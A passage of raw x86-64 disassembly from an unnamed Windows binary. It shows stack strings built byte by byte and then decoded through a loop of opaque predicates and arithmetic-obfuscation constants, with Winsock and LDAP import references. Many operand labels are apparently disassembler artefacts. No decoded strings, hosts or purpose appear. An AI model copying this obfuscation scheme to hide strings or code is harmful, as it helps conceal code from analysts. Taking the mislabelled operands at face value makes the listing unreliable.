mov byte [rbp + 0xa35], Ordinal_41
mov byte [rbp + 0xa36], Ordinal_41
mov byte [rbp + 0xa37], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa40], eax
mov word [rbp + 0xa44], ax
mov byte [rbp + 0xa46], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x1401572a4
movzx r8d, byte [rbp + r9 + 0xa00]
mov rdx, r8
cmp rdi, r9
ja 0x14015729b
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401567b4
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x1401567eb
je 0x140157217
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401571e9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401571c7
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140157179
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140157292
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14015681e
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401569e1
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140157168
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140157145
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401570f9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401570d3
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140157047
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140156d16
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140156cf0
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140156ccd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140156ca7
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140156c85
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140156c71
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140156c4f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140156c3b
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14015726f
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140157249
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140156a0e
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401569e8
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401569c5
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140156bd7
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140156b50
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140156b2a
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140156b07
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140156af3
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140156ad0
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140156aad
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140156a89
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140156a67
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140156a53
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140156a31
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015686c
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14015686c
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14015685f
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401567eb
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x14015677c
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14015719a
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140156e17
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401571e4
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140157115
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140157206
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140157209
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140157056
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x14015709c
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157232
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x140156ffb
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140156ee3
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140156fee
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14015719a
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x140157021
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140156dd4
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156b6e
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140157056
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140157209
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x1401570e2
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140157117
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401571e4
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401571c2
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015719a
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140156d3c
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156bf8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140156d6b
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157232
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140156d88
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140157056
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140156db3
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140157209
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140156bf8
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140157154
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140156dff
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14015719a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140156e2e
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401571c2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140156e59
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140157206
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140156e85
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140157068
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140156eb4
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015709c
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140156b6e
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140157232
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140156f00
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140156d54
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140156f1d
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140157056
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140156f4c
movabs rdx, 0x92d7ed3a34b0f7f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157206
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140156f77
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140157117
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140156fa2
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401571e4
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140156fbf
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140156e17
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140156ba5
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015719a
mov byte [rbp + r9 + 0xa00], bl
jmp 0x140157241
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xa00]
sub bl, al
sub bl, 0x60
jmp 0x140156aa5
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xa00]
jmp 0x140157063
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa00], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140157232
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157206
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
jmp 0x140157206
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401571e4
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140157188
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa00], cl
add r10, r15
jmp 0x1401571e4
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x140157241
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140157241
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xa00]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140156769
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156766
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140156756
lea rdx, [rbp + 0x16f1130]
jmp 0x1401572ab
lea rdx, [rbp + 0x68a494]
jmp 0x1401572ab
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x138]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2740]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401572e0
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2740]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2740]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2740]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x700], 0xcb
mov byte [rbp + 0x701], Ordinal_143
mov byte [rbp + 0x702], 0xac
mov byte [rbp + 0x703], 0xf3
mov byte [rbp + 0x704], Ordinal_79
mov byte [rbp + 0x705], 0xf1
mov byte [rbp + 0x706], WSACleanup
mov byte [rbp + 0x707], 0xf7
mov byte [rbp + 0x708], 0x55
mov byte [rbp + 0x709], 0xf5
mov byte [rbp + 0x70a], 0xa2
mov byte [rbp + 0x70b], 0xfb
mov byte [rbp + 0x70c], 0x66
mov byte [rbp + 0x70d], 0xf9
mov byte [rbp + 0x70e], 0x55
mov byte [rbp + 0x70f], 0xff
mov byte [rbp + 0x710], 0x59
mov byte [rbp + 0x711], 0xfd
mov byte [rbp + 0x712], WSACleanup
mov byte [rbp + 0x713], 0xe3
mov byte [rbp + 0x714], 0x47
mov byte [rbp + 0x715], 0xe1
mov byte [rbp + 0x716], Ordinal_79
mov byte [rbp + 0x717], 0xe7
mov byte [rbp + 0x718], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x719], 0xe5
mov byte [rbp + 0x71a], 0x42
mov byte [rbp + 0x71b], 0xeb
mov byte [rbp + 0x71c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x71d], 0xe9
mov byte [rbp + 0x71e], r14b
mov byte [rbp + 0x71f], 0xef
mov byte [rbp + 0x720], 0xb8
mov byte [rbp + 0x721], 0xed
mov byte [rbp + 0x722], 0x87
mov byte [rbp + 0x723], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x724], 0x44
mov byte [rbp + 0x725], Ordinal_211
mov byte [rbp + 0x726], r14b
mov byte [rbp + 0x727], Ordinal_217
mov byte [rbp + 0x728], 0x81
mov byte [rbp + 0x729], Ordinal_217
mov byte [rbp + 0x72a], 0x7e
mov byte [rbp + 0x72b], 0xdb
mov byte [rbp + 0x72c], 0x7c
mov byte [rbp + 0x72d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x72e], WSACleanup
mov byte [rbp + 0x72f], 0xdf
mov byte [rbp + 0x730], Ordinal_143
mov byte [rbp + 0x731], 0xdd
mov byte [rbp + 0x732], 0x64
mov byte [rbp + 0x733], Ordinal_200
mov byte [rbp + 0x734], WSAGetLastError
mov byte [rbp + 0x735], 0xc1
mov byte [rbp + 0x736], 0x54
mov byte [rbp + 0x737], Ordinal_200
mov byte [rbp + 0x738], Ordinal_200
mov byte [rbp + 0x739], Ordinal_200
xor eax, eax
mov dword [rbp + 0x73a], eax
mov word [rbp + 0x73e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x1401580ad
movzx r8d, byte [rbp + r9 + 0x700]
mov r11, r8
cmp rdi, r9
ja 0x1401580a4
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015751f
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x140157559
je 0x140158017
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140157fc1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140157f6b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140157f42
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140157ef8
cmp r10, r9
ja 0x14015809b
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14015758a
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x1401575be
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140157ed9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140157eb7
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140157e88
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140157e6a
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140157b49
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140157b27
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140157b13
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140157af0
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140157adc
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140157aba
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140157a98
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140157a84
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140157a62
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140157a3c
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401575cb
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140158075
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015804f
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401577c8
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401577a2
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140157780
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401579a4
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140157993
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140157945
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140157917
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401575cb
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401578f1
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401578cf
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401578ad
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140157887
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140157865
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140157844
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140157821
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401577fe
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401577ea
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401575cb
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x1401575cb
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x1401575be
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157559
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x1401574e8
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140157f07
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140157f3d
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140157f63
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140157e08
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140157e37
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157ea6
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140157f8b
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140157fe5
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158038
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x700], bl
jmp 0x140158047
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x140157938
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140157f19
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401579ef
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 6
je 0x140157e3c
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x140157c46
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r14
jae 0x140157de7
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140157d14
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140157962
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158038
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140157fe5
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140157e79
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140157ea6
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140157e37
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140157853
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140157f63
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140157c2f
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140157f19
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x140157b74
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401579c5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140157b9f
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140158038
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140157bb9
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x140157e79
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140157be8
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157e37
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140157c13
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
